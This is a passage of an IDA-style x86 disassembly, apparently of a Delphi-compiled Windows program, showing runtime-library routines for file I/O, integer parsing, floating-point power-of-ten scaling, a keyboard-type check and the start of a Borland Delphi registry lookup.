		jmp	short loc_20002A1A
; ---------------------------------------------------------------------------


loc_200029F4:				; CODE XREF: sub_200029E4+Aj
		push	0		; lpOverlapped
		lea	eax, [esp+10h+NumberOfBytesWritten]
		push	eax		; lpNumberOfBytesWritten
		push	esi		; nNumberOfBytesToWrite
		mov	eax, [ebx+14h]
		push	eax		; lpBuffer
		mov	eax, [ebx]
		push	eax		; hFile
		call	WriteFile
		test	eax, eax
		jnz	short loc_20002A13
		call	GetLastError
		jmp	short loc_20002A15
; ---------------------------------------------------------------------------


loc_20002A13:				; CODE XREF: sub_200029E4+26j
		xor	eax, eax


loc_20002A15:				; CODE XREF: sub_200029E4+2Dj
		xor	edx, edx
		mov	[ebx+0Ch], edx


loc_20002A1A:				; CODE XREF: sub_200029E4+Ej
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_200029E4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_20002A20	proc near		; CODE XREF: sub_20002A30+Bp
					; sub_20002E58+Ep
		push	ebx
		mov	ebx, eax
		push	ebx		; hObject
		call	CloseHandle
		dec	eax
		setz	al
		pop	ebx
		retn
sub_20002A20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_20002A30	proc near		; DATA XREF: CODE:loc_20002AB0o
		push	ebx
		mov	ebx, eax
		mov	word ptr [ebx+4], 0D7B0h
		mov	eax, [ebx]
		call	sub_20002A20
		test	al, al
		jnz	short loc_20002A4B
		call	GetLastError
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_20002A4B:				; CODE XREF: sub_20002A30+12j
		xor	eax, eax
		pop	ebx
		retn
sub_20002A30	endp

; ---------------------------------------------------------------------------
		align 10h


loc_20002A50:				; DATA XREF: sub_20002BFC+35o
		push	esi
		mov	esi, eax
		xor	eax, eax
		mov	[esi+0Ch], eax
		mov	[esi+10h], eax
		mov	ax, [esi+4]
		sub	eax, 0D7B1h
		jz	short loc_20002A71
		dec	eax
		jz	short loc_20002A89
		dec	eax
		jz	short loc_20002A9A
		jmp	loc_20002BD8
; ---------------------------------------------------------------------------


loc_20002A71:				; CODE XREF: CODE:20002A64j
		mov	eax, 80000000h
		mov	edx, 1
		mov	ecx, 3
		mov	dword ptr [esi+1Ch], offset sub_200029A4
		jmp	short loc_20002AB0
; ---------------------------------------------------------------------------


loc_20002A89:				; CODE XREF: CODE:20002A67j
		mov	eax, 40000000h
		mov	edx, 1
		mov	ecx, 2
		jmp	short loc_20002AA9
; ---------------------------------------------------------------------------


loc_20002A9A:				; CODE XREF: CODE:20002A6Aj
		mov	eax, 0C0000000h
		mov	edx, 1
		mov	ecx, 3


loc_20002AA9:				; CODE XREF: CODE:20002A98j
		mov	dword ptr [esi+1Ch], offset sub_200029E4


loc_20002AB0:				; CODE XREF: CODE:20002A87j
		mov	dword ptr [esi+24h], offset sub_20002A30
		mov	dword ptr [esi+20h], offset sub_200029E0
		cmp	byte ptr [esi+48h], 0
		jz	loc_20002B7A
		push	0
		push	80h
		push	ecx
		push	0
		push	edx
		push	eax
		lea	eax, [esi+48h]
		push	eax
		call	CreateFileA
		cmp	eax, 0FFFFFFFFh
		jz	loc_20002BEE
		mov	[esi], eax
		cmp	word ptr [esi+4], 0D7B3h
		jnz	loc_20002BB7
		dec	word ptr [esi+4]
		push	0
		push	dword ptr [esi]
		call	GetFileSize
		inc	eax
		jz	loc_20002BEE
		sub	eax, 81h
		jnb	short loc_20002B11
		xor	eax, eax


loc_20002B11:				; CODE XREF: CODE:20002B0Dj
		push	0
		push	0
		push	eax
		push	dword ptr [esi]
		call	SetFilePointer
		inc	eax
		jz	loc_20002BEE
		push	0
		mov	edx, esp
		push	0
		push	edx
		push	80h
		lea	edx, [esi+14Ch]
		push	edx
		push	dword ptr [esi]
		call	ReadFile
		pop	edx
		dec	eax
		jnz	loc_20002BEE
		xor	eax, eax


loc_20002B48:				; CODE XREF: CODE:20002B57j
		cmp	eax, edx
		jnb	short loc_20002BB7
		cmp	byte ptr [esi+eax+14Ch], 0Eh
		jz	short loc_20002B59
		inc	eax
		jmp	short loc_20002B48
; ---------------------------------------------------------------------------


loc_20002B59:				; CODE XREF: CODE:20002B54j
		push	2
		push	0
		sub	eax, edx
		push	eax
		push	dword ptr [esi]
		call	SetFilePointer
		inc	eax
		jz	loc_20002BEE
		push	dword ptr [esi]
		call	SetEndOfFile
		dec	eax
		jnz	short loc_20002BEE
		jmp	short loc_20002BB7
; ---------------------------------------------------------------------------


loc_20002B7A:				; CODE XREF: CODE:20002AC2j
		lea	eax, [esi+14Ch]
		mov	dword ptr [esi+8], 80h
		mov	dword ptr [esi+24h], offset sub_200029E0
		mov	[esi+14h], eax
		cmp	word ptr [esi+4], 0D7B2h
		jz	short loc_20002B9D
		push	0FFFFFFF6h
		jmp	short loc_20002BAB
; ---------------------------------------------------------------------------


loc_20002B9D:				; CODE XREF: CODE:20002B97j
		cmp	esi, offset dword_200153E0
		jnz	short loc_20002BA9
		push	0FFFFFFF4h
		jmp	short loc_20002BAB
; ---------------------------------------------------------------------------


loc_20002BA9:				; CODE XREF: CODE:20002BA3j
		push	0FFFFFFF5h


loc_20002BAB:				; CODE XREF: CODE:20002B9Bj
					; CODE:20002BA7j
		call	GetStdHandle
		cmp	eax, 0FFFFFFFFh
		jz	short loc_20002BEE
		mov	[esi], eax


loc_20002BB7:				; CODE XREF: CODE:20002AEEj
					; CODE:20002B4Aj ...
		cmp	word ptr [esi+4], 0D7B1h
		jz	short loc_20002BD6
		push	dword ptr [esi]
		call	GetFileType
		test	eax, eax
		jz	short loc_20002BDA
		cmp	eax, 2
		jnz	short loc_20002BD6
		mov	dword ptr [esi+20h], offset sub_200029E4


loc_20002BD6:				; CODE XREF: CODE:20002BBDj
					; CODE:20002BCDj
		xor	eax, eax


loc_20002BD8:				; CODE XREF: CODE:20002A6Cj
					; CODE:20002BECj ...
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_20002BDA:				; CODE XREF: CODE:20002BC8j
		push	dword ptr [esi]
		call	CloseHandle
		mov	word ptr [esi+4], 0D7B0h
		mov	eax, 69h
		jmp	short loc_20002BD8
; ---------------------------------------------------------------------------


loc_20002BEE:				; CODE XREF: CODE:20002AE0j
					; CODE:20002B02j ...
		mov	word ptr [esi+4], 0D7B0h
		call	GetLastError
		jmp	short loc_20002BD8
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_20002BFC	proc near		; CODE XREF: sub_200129A0+3Cp
					; CODE:20013426p
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	eax, ebx
		xor	ecx, ecx
		mov	edx, 14Ch
		call	sub_20002E38
		lea	eax, [ebx+14Ch]
		mov	[ebx+14h], eax
		mov	word ptr [ebx+4], 0D7B0h
		xor	eax, eax
		mov	al, ds:byte_20014030
		mov	[ebx+6], ax
		mov	dword ptr [ebx+8], 80h
		mov	dword ptr [ebx+18h], offset loc_20002A50
		mov	eax, esi
		call	sub_20004244
		push	eax
		mov	eax, esi
		call	sub_20004444
		lea	edx, [ebx+48h]
		pop	ecx
		call	sub_200027FC
		mov	eax, esi
		call	sub_20004244
		mov	byte ptr [ebx+eax+48h],	0
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
sub_20002BFC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20002C64	proc near		; CODE XREF: sub_20002CAC+3p
		push	ebx
		mov	cx, [eax+4]
		sub	cx, 0D7B1h
		jz	short loc_20002C7F
		dec	ecx
		sub	cx, 2
		jnb	short loc_20002C83
		mov	ebx, edx
		call	ebx
		mov	ebx, eax
		jmp	short loc_20002C9A
; ---------------------------------------------------------------------------


loc_20002C7F:				; CODE XREF: sub_20002C64+Aj
		xor	ebx, ebx
		jmp	short loc_20002C9A
; ---------------------------------------------------------------------------


loc_20002C83:				; CODE XREF: sub_20002C64+11j
		cmp	eax, offset dword_20015214
		jz	short loc_20002C91
		cmp	eax, offset dword_200153E0
		jnz	short loc_20002C95


loc_20002C91:				; CODE XREF: sub_20002C64+24j
		xor	ebx, ebx
		jmp	short loc_20002C9A
; ---------------------------------------------------------------------------


loc_20002C95:				; CODE XREF: sub_20002C64+2Bj
		mov	ebx, 67h


loc_20002C9A:				; CODE XREF: sub_20002C64+19j
					; sub_20002C64+1Dj ...
		test	ebx, ebx
		jz	short loc_20002CA5
		mov	eax, ebx
		call	sub_2000277C


loc_20002CA5:				; CODE XREF: sub_20002C64+38j
		mov	eax, ebx
		pop	ebx
		retn
sub_20002C64	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20002CAC	proc near		; CODE XREF: CODE:2000A43Fp
		mov	edx, [eax+1Ch]
		call	sub_20002C64
		retn
sub_20002CAC	endp

; ---------------------------------------------------------------------------
		align 4


loc_20002CB8:				; DATA XREF: sub_20002D54+Do
		jmp	ds:__imp_ReadFile
; ---------------------------------------------------------------------------
		align 10h


loc_20002CC0:				; DATA XREF: sub_20002D74+Do
		jmp	ds:__imp_WriteFile
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20002CC8	proc near		; CODE XREF: sub_20002D54+14p
					; sub_20002D74+14p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		mov	edi, edx
		mov	ebx, eax
		mov	eax, [ebp+arg_8]
		movzx	edx, word ptr [ebx+4]
		and	edx, eax
		cmp	eax, edx
		jnz	short loc_20002D3A
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebx+8]
		imul	esi
		push	eax
		push	edi
		mov	eax, [ebx]
		push	eax
		call	[ebp+arg_4]
		test	eax, eax
		jnz	short loc_20002D0A
		call	GetLastError
		call	sub_2000277C
		xor	eax, eax
		mov	[ebp+var_4], eax
		jmp	short loc_20002D49
; ---------------------------------------------------------------------------


loc_20002D0A:				; CODE XREF: sub_20002CC8+2Fj
		mov	eax, [ebp+var_4]
		xor	edx, edx
		div	dword ptr [ebx+8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_C]
		test	eax, eax
		jz	short loc_20002D26
		mov	eax, [ebp+arg_C]
		mov	edx, [ebp+var_4]
		mov	[eax], edx
		jmp	short loc_20002D49
; ---------------------------------------------------------------------------


loc_20002D26:				; CODE XREF: sub_20002CC8+52j
		cmp	esi, [ebp+var_4]
		jz	short loc_20002D49
		mov	eax, [ebp+arg_0]
		call	sub_2000277C
		xor	eax, eax
		mov	[ebp+var_4], eax
		jmp	short loc_20002D49
; ---------------------------------------------------------------------------


loc_20002D3A:				; CODE XREF: sub_20002CC8+18j
		mov	eax, 67h
		call	sub_2000277C
		xor	eax, eax
		mov	[ebp+var_4], eax


loc_20002D49:				; CODE XREF: sub_20002CC8+40j
					; sub_20002CC8+5Cj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	10h
sub_20002CC8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20002D54	proc near		; CODE XREF: sub_200129A0+92p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	ebx
		push	0D7B1h
		push	offset loc_20002CB8
		push	64h
		call	sub_20002CC8
		pop	ebx
		pop	ebp
		retn	4
sub_20002D54	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20002D74	proc near		; CODE XREF: CODE:20013462p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	ebx
		push	0D7B2h
		push	offset loc_20002CC0
		push	65h
		call	sub_20002CC8
		pop	ebx
		pop	ebp
		retn	4
sub_20002D74	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20002D94	proc near		; CODE XREF: sub_20005A60+1Ep
					; sub_20005A60+28p ...
		push	ebx
		push	esi
		mov	ebx, eax
		xor	esi, esi
		mov	ax, [ebx+4]
		cmp	ax, 0D7B1h
		jb	short loc_20002DD3
		cmp	ax, 0D7B3h
		ja	short loc_20002DD3
		and	ax, 0D7B2h
		cmp	ax, 0D7B2h
		jnz	short loc_20002DBB
		mov	eax, ebx
		call	dword ptr [ebx+1Ch]
		mov	esi, eax


loc_20002DBB:				; CODE XREF: sub_20002D94+1Ej
		test	esi, esi
		jnz	short loc_20002DC6
		mov	eax, ebx
		call	dword ptr [ebx+24h]
		mov	esi, eax


loc_20002DC6:				; CODE XREF: sub_20002D94+29j
		test	esi, esi
		jz	short loc_20002DE5
		mov	eax, esi
		call	sub_2000277C
		jmp	short loc_20002DE5
; ---------------------------------------------------------------------------


loc_20002DD3:				; CODE XREF: sub_20002D94+Ej
					; sub_20002D94+14j
		cmp	ebx, offset dword_20015048
		jz	short loc_20002DE5
		mov	eax, 67h
		call	sub_2000277C


loc_20002DE5:				; CODE XREF: sub_20002D94+34j
					; sub_20002D94+3Dj ...
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_20002D94	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20002DEC	proc near		; CODE XREF: sub_200129A0+68p
		push	ebx
		push	esi
		mov	ebx, eax
		or	esi, 0FFFFFFFFh
		mov	ax, [ebx+4]
		cmp	ax, 0D7B0h
		jbe	short loc_20002E26
		cmp	ax, 0D7B3h
		ja	short loc_20002E26
		push	0		; lpFileSizeHigh
		mov	eax, [ebx]
		push	eax		; hFile
		call	GetFileSize
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_20002E1B
		call	sub_2000278C
		jmp	short loc_20002E30
; ---------------------------------------------------------------------------


loc_20002E1B:				; CODE XREF: sub_20002DEC+26j
		mov	eax, esi
		xor	edx, edx
		div	dword ptr [ebx+8]
		mov	esi, eax
		jmp	short loc_20002E30
; ---------------------------------------------------------------------------


loc_20002E26:				; CODE XREF: sub_20002DEC+Fj
					; sub_20002DEC+15j
		mov	eax, 67h
		call	sub_2000277C


loc_20002E30:				; CODE XREF: sub_20002DEC+2Dj
					; sub_20002DEC+38j
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_20002DEC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20002E38	proc near		; CODE XREF: sub_20002BFC+Fp
					; sub_20004CB8+F1p ...
		push	edi
		mov	edi, eax
		mov	ch, cl
		mov	eax, ecx
		shl	eax, 10h
		mov	ax, cx
		mov	ecx, edx
		sar	ecx, 2
		js	short loc_20002E55
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_20002E55:				; CODE XREF: sub_20002E38+12j
		pop	edi
		retn
sub_20002E38	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20002E58	proc near		; DATA XREF: sub_20002E80+35o
		push	ebx
		push	esi
		mov	ebx, eax
		mov	word ptr [ebx+4], 0D7B0h
		xor	esi, esi
		mov	eax, [ebx]
		call	sub_20002A20
		test	al, al
		jnz	short loc_20002E79
		call	sub_2000278C
		mov	esi, 1


loc_20002E79:				; CODE XREF: sub_20002E58+15j
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_20002E58	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_20002E80	proc near		; CODE XREF: sub_20002F60+16p
					; sub_20002F7C+5p
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, ecx
		xor	edx, edx
		mov	ebx, eax
		mov	dx, [eax+4]
		sub	edx, 0D7B0h
		jz	short loc_20002EAC
		cmp	edx, 3
		ja	loc_20002F42
		call	dword ptr [ebx+24h]
		test	eax, eax
		jz	short loc_20002EAC
		call	sub_2000277C


loc_20002EAC:				; CODE XREF: sub_20002E80+15j
					; sub_20002E80+25j
		mov	word ptr [ebx+4], 0D7B3h
		mov	[ebx+8], esi
		mov	dword ptr [ebx+24h], offset sub_20002E58
		mov	dword ptr [ebx+1Ch], offset sub_200029E0
		cmp	byte ptr [ebx+48h], 0
		jz	short loc_20002F29
		mov	eax, 0C0000000h
		mov	dl, ds:byte_20014008
		and	edx, 70h
		shr	edx, 2
		mov	edx, ds:dword_20014064[edx]
		mov	ecx, 2
		sub	edi, 3
		jz	short loc_20002F0B
		mov	ecx, 3
		inc	edi
		jz	short loc_20002F0B
		mov	eax, 40000000h
		inc	edi
		mov	word ptr [ebx+4], 0D7B2h
		jz	short loc_20002F0B
		mov	eax, 80000000h
		mov	word ptr [ebx+4], 0D7B1h


loc_20002F0B:				; CODE XREF: sub_20002E80+68j
					; sub_20002E80+70j ...
		push	0		; hTemplateFile
		push	80h		; dwFlagsAndAttributes
		push	ecx		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	edx		; dwShareMode
		push	eax		; dwDesiredAccess
		lea	eax, [ebx+48h]
		push	eax		; lpFileName
		call	CreateFileA


loc_20002F20:				; CODE XREF: sub_20002E80+C0j
		cmp	eax, 0FFFFFFFFh
		jz	short loc_20002F49
		mov	[ebx], eax
		jmp	short loc_20002F59
; ---------------------------------------------------------------------------


loc_20002F29:				; CODE XREF: sub_20002E80+47j
		mov	dword ptr [ebx+24h], offset sub_200029E0
		cmp	edi, 3
		jz	short loc_20002F39
		push	0FFFFFFF6h
		jmp	short loc_20002F3B
; ---------------------------------------------------------------------------


loc_20002F39:				; CODE XREF: sub_20002E80+B3j
		push	0FFFFFFF5h	; nStdHandle


loc_20002F3B:				; CODE XREF: sub_20002E80+B7j
		call	GetStdHandle
		jmp	short loc_20002F20
; ---------------------------------------------------------------------------


loc_20002F42:				; CODE XREF: sub_20002E80+1Aj
		mov	eax, 66h
		jmp	short loc_20002F54
; ---------------------------------------------------------------------------


loc_20002F49:				; CODE XREF: sub_20002E80+A3j
		mov	word ptr [ebx+4], 0D7B0h
		call	GetLastError


loc_20002F54:				; CODE XREF: sub_20002E80+C7j
		call	sub_2000277C


loc_20002F59:				; CODE XREF: sub_20002E80+A7j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_20002E80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_20002F60	proc near		; CODE XREF: sub_200129A0+54p
		mov	cl, ds:byte_20014008
		and	cl, 3
		cmp	cl, 2
		jbe	short loc_20002F70
		mov	cl, 2


loc_20002F70:				; CODE XREF: sub_20002F60+Cj
		and	ecx, 0FFh
		call	sub_20002E80
		retn
sub_20002F60	endp


; =============== S U B	R O U T	I N E =======================================



sub_20002F7C	proc near		; CODE XREF: CODE:20013435p
		mov	ecx, 3
		call	sub_20002E80
		retn
sub_20002F7C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20002F88	proc near		; CODE XREF: sub_200059EC+41p
					; sub_2000729C+6p ...
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		push	eax
		test	eax, eax
		jz	short loc_20002FFE
		xor	eax, eax
		xor	ebx, ebx
		mov	edi, 0CCCCCCCh


loc_20002F9B:				; CODE XREF: sub_20002F88+19j
		mov	bl, [esi]
		inc	esi
		cmp	bl, 20h
		jz	short loc_20002F9B
		mov	ch, 0
		cmp	bl, 2Dh
		jz	short loc_2000300C
		cmp	bl, 2Bh
		jz	short loc_2000300E


loc_20002FAF:				; CODE XREF: sub_20002F88+89j
		cmp	bl, 24h
		jz	short loc_20003013
		cmp	bl, 78h
		jz	short loc_20003013
		cmp	bl, 58h
		jz	short loc_20003013
		cmp	bl, 30h
		jnz	short loc_20002FD6
		mov	bl, [esi]
		inc	esi
		cmp	bl, 78h
		jz	short loc_20003013
		cmp	bl, 58h
		jz	short loc_20003013
		test	bl, bl
		jz	short loc_20002FF4
		jmp	short loc_20002FDA
; ---------------------------------------------------------------------------


loc_20002FD6:				; CODE XREF: sub_20002F88+39j
		test	bl, bl
		jz	short loc_20003007


loc_20002FDA:				; CODE XREF: sub_20002F88+4Cj
					; sub_20002F88+6Aj
		sub	bl, 30h
		cmp	bl, 9
		ja	short loc_20003007
		cmp	eax, edi
		ja	short loc_20003007
		lea	eax, [eax+eax*4]
		add	eax, eax
		add	eax, ebx
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jnz	short loc_20002FDA


loc_20002FF4:				; CODE XREF: sub_20002F88+4Aj
		dec	ch
		jz	short loc_20003001
		test	eax, eax
		jge	short loc_20003050
		jmp	short loc_20003007
; ---------------------------------------------------------------------------


loc_20002FFE:				; CODE XREF: sub_20002F88+8j
					; sub_20002F88+95j
		inc	esi
		jmp	short loc_20003007
; ---------------------------------------------------------------------------


loc_20003001:				; CODE XREF: sub_20002F88+6Ej
		neg	eax
		jle	short loc_20003050
		js	short loc_20003050


loc_20003007:				; CODE XREF: sub_20002F88+50j
					; sub_20002F88+58j ...
		pop	ebx
		sub	esi, ebx
		jmp	short loc_20003053
; ---------------------------------------------------------------------------


loc_2000300C:				; CODE XREF: sub_20002F88+20j
		inc	ch


loc_2000300E:				; CODE XREF: sub_20002F88+25j
		mov	bl, [esi]
		inc	esi
		jmp	short loc_20002FAF
; ---------------------------------------------------------------------------


loc_20003013:				; CODE XREF: sub_20002F88+2Aj
					; sub_20002F88+2Fj ...
		mov	edi, 0FFFFFFFh
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jz	short loc_20002FFE


loc_2000301F:				; CODE XREF: sub_20002F88+C0j
		cmp	bl, 61h
		jb	short loc_20003027
		sub	bl, 20h


loc_20003027:				; CODE XREF: sub_20002F88+9Aj
		sub	bl, 30h
		cmp	bl, 9
		jbe	short loc_2000303A
		sub	bl, 11h
		cmp	bl, 5
		ja	short loc_20003007
		add	bl, 0Ah


loc_2000303A:				; CODE XREF: sub_20002F88+A5j
		cmp	eax, edi
		ja	short loc_20003007
		shl	eax, 4
		add	eax, ebx
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jnz	short loc_2000301F
		dec	ch
		jnz	short loc_20003050
		neg	eax


loc_20003050:				; CODE XREF: sub_20002F88+72j
					; sub_20002F88+7Bj ...
		pop	ecx
		xor	esi, esi


loc_20003053:				; CODE XREF: sub_20002F88+82j
		mov	[edx], esi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_20002F88	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000305C	proc near		; CODE XREF: sub_2000B268+A5p
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		and	ecx, 0FFh
		repe cmpsb
		pop	edi
		pop	esi
		retn
sub_2000305C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_20003070	proc near		; CODE XREF: sub_2000807D+58p
					; sub_2000827C+85p
		jmp	sub_20003078
sub_20003070	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20003078	proc near		; CODE XREF: sub_20003070j
		push	ebx
		xor	ebx, ebx
		test	eax, eax
		jl	short loc_200030CC
		jz	loc_2000311F
		cmp	eax, 1400h
		jge	loc_20003111
		mov	edx, eax
		and	edx, 1Fh
		lea	edx, [edx+edx*4]
		fld	tbyte_2000312B[ebx+edx*2]
		fmulp	st(1), st
		shr	eax, 5
		jz	short loc_2000311F
		mov	edx, eax
		and	edx, 0Fh
		jz	short loc_200030B9
		lea	edx, [edx+edx*4]
		fld	tbyte ptr byte_20003261[ebx+edx*2]
		fmulp	st(1), st


loc_200030B9:				; CODE XREF: sub_20003078+33j
		shr	eax, 4
		jz	short loc_2000311F
		lea	eax, [eax+eax*4]
		fld	tbyte_200032F7[ebx+eax*2]
		fmulp	st(1), st
		jmp	short loc_2000311F
; ---------------------------------------------------------------------------


loc_200030CC:				; CODE XREF: sub_20003078+5j
		neg	eax
		cmp	eax, 1400h
		jge	short loc_2000311B
		mov	edx, eax
		and	edx, 1Fh
		lea	edx, [edx+edx*4]
		fld	tbyte_2000312B[ebx+edx*2]
		fdivp	st(1), st
		shr	eax, 5
		jz	short loc_2000311F
		mov	edx, eax
		and	edx, 0Fh
		jz	short loc_200030FE
		lea	edx, [edx+edx*4]
		fld	tbyte ptr byte_20003261[ebx+edx*2]
		fdivp	st(1), st


loc_200030FE:				; CODE XREF: sub_20003078+78j
		shr	eax, 4
		jz	short loc_2000311F
		lea	eax, [eax+eax*4]
		fld	tbyte_200032F7[ebx+eax*2]
		fdivp	st(1), st
		jmp	short loc_2000311F
; ---------------------------------------------------------------------------


loc_20003111:				; CODE XREF: sub_20003078+12j
		fstp	st
		fld	tbyte_20003121[ebx]
		jmp	short loc_2000311F
; ---------------------------------------------------------------------------


loc_2000311B:				; CODE XREF: sub_20003078+5Bj
		fstp	st
		fldz


loc_2000311F:				; CODE XREF: sub_20003078+7j
					; sub_20003078+2Cj ...
		pop	ebx
		retn
sub_20003078	endp

; ---------------------------------------------------------------------------
tbyte_20003121	dt 1.1897314953572317651e4932 ;	DATA XREF: sub_20003078+9Br
tbyte_2000312B	dt 1.0			; DATA XREF: sub_20003078+20r
					; sub_20003078+65r
		align 4
		dd 0
		dd 4002A0h, 0
		dd 5C80000h, 40h, 0
		dd 4008FAh, 0
		dd 0C9C4000h, 40h, 50000000h, 400FC3h, 0
		dd 12F42400h, 40h, 96800000h, 401698h, 0
		dd 19BEBC20h, 40h, 6B280000h, 401CEEh, 0
		dd 209502F9h, 40h, 43B74000h, 4023BAh, 10000000h, 26E8D4A5h
		dd 40h,	84E72A00h, 402A91h, 0F4800000h,	2DB5E620h, 40h
		dd 5FA931A0h, 4030E3h, 0BF040000h, 348E1BC9h, 40h, 0A2BC2EC5h
		dd 4037B1h, 3A764000h, 3ADE0B6Bh, 0E8000040h, 0C7230489h
		dd 403E8Ah, 0C5AC6200h,	41AD78EBh, 7A800040h, 0D726B717h
		dd 4044D8h, 326EAC90h, 48878678h, 57B40040h, 68163F0Ah
		dd 404BA9h, 0CECCEDA1h,	4ED3C21Bh, 1484A040h, 59516140h
		dd 0C8405284h, 0B99019A5h, 55A56FA5h, 200F3A40h, 0CB8F27F4h
		dd 844058CEh, 78F89409h, 5C813F39h, 0B90BE540h,	8F07D736h
		dd 0DF405FA1h, 0CD04674Eh, 62C9F2C9h
		db 40h
byte_20003261	db 96h			; DATA XREF: sub_20003078+38r
					; sub_20003078+7Dr
		dw 8122h
		dd 6F7C4045h, 9E4065FCh, 0A82B70B5h, 699DC5ADh,	0CFA6D540h
		dd 781F49FFh, 0A340D3C2h, 16C59B14h, 3DEFB3ABh,	0E98CE041h
		dd 0BA47C980h, 0AA41A893h, 2B7FE617h, 12B616A1h, 27556B42h
		dd 70F78D39h, 30427CE0h, 0FFE33CC9h, 0E78A5296h, 0F9DE8E42h
		dd 7EEBFB9Dh, 8C4351AAh, 195C6A2Fh, 0BBD226FCh,	0CCE37643h
		dd 842F29F2h, 0D2442681h, 0DB900Ah, 909FA427h, 0F8AA1744h
		dd 0C5E310AEh, 5944FAC4h, 7E9B09Ch, 64F28A9Ch, 0F7F3D445h
		dd 7A4AE1EBh
		db 95h,	0CFh, 45h
tbyte_200032F7	dt 9.9999999999999999996e479 ; DATA XREF: sub_20003078+49r
					; sub_20003078+8Er
		db 0C7h, 91h, 0Eh
		dd 19A0AEA6h, 1746A3E3h, 8681750Ch, 48C97675h, 93A7E44Dh
		dd 0B8353B39h, 0E553EDB2h, 5DC53D5Dh, 929E8B3Bh, 0A1F0A65Ah
		dd 0A554C020h, 8B61378Ch, 25D88B5Ah, 0DBF9895Dh, 27F3F867h
		dd 5DC8A2BFh, 9B6E80DDh, 28A2097h, 25C46052h, 0D559F075h
		dd 3511626Eh, 0C37BCAAEh
; [00000006 BYTES: COLLAPSED FUNCTION GetKeyboardType. PRESS KEYPAD "+"	TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20003364	proc near		; CODE XREF: sub_20005AB4+39p
		push	ebx
		xor	ebx, ebx
		push	0		; nTypeFlag
		call	GetKeyboardType
		cmp	eax, 7
		jnz	short loc_2000338F
		push	1		; nTypeFlag
		call	GetKeyboardType
		and	eax, 0FF00h
		cmp	eax, 0D00h
		jz	short loc_2000338D
		cmp	eax, 400h
		jnz	short loc_2000338F


loc_2000338D:				; CODE XREF: sub_20003364+20j
		mov	bl, 1


loc_2000338F:				; CODE XREF: sub_20003364+Dj
					; sub_20003364+27j
		mov	eax, ebx
		pop	ebx
		retn
sub_20003364	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20003394	proc near		; CODE XREF: sub_20005AB4+42p

cbData		= dword	ptr -0Ch
Data		= byte ptr -8
hKey		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		movzx	eax, ds:word_20014020
		mov	dword ptr [ebp+Data], eax
		lea	eax, [ebp+hKey]
		push	eax		; phkResult
		push	1		; samDesired
		push	0		; ulOptions
		push	offset aSoftwareBorlan ; "SOFTWARE\\Borland\\Delphi\\RTL"
		push	80000002h	; hKey
		call	RegOpenKeyExA
		test	eax, eax
		jnz	short loc_2000340C
		xor	eax, eax
		push	ebp
		push	offset loc_20003405
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+cbData], 4
		lea	eax, [ebp+cbData]
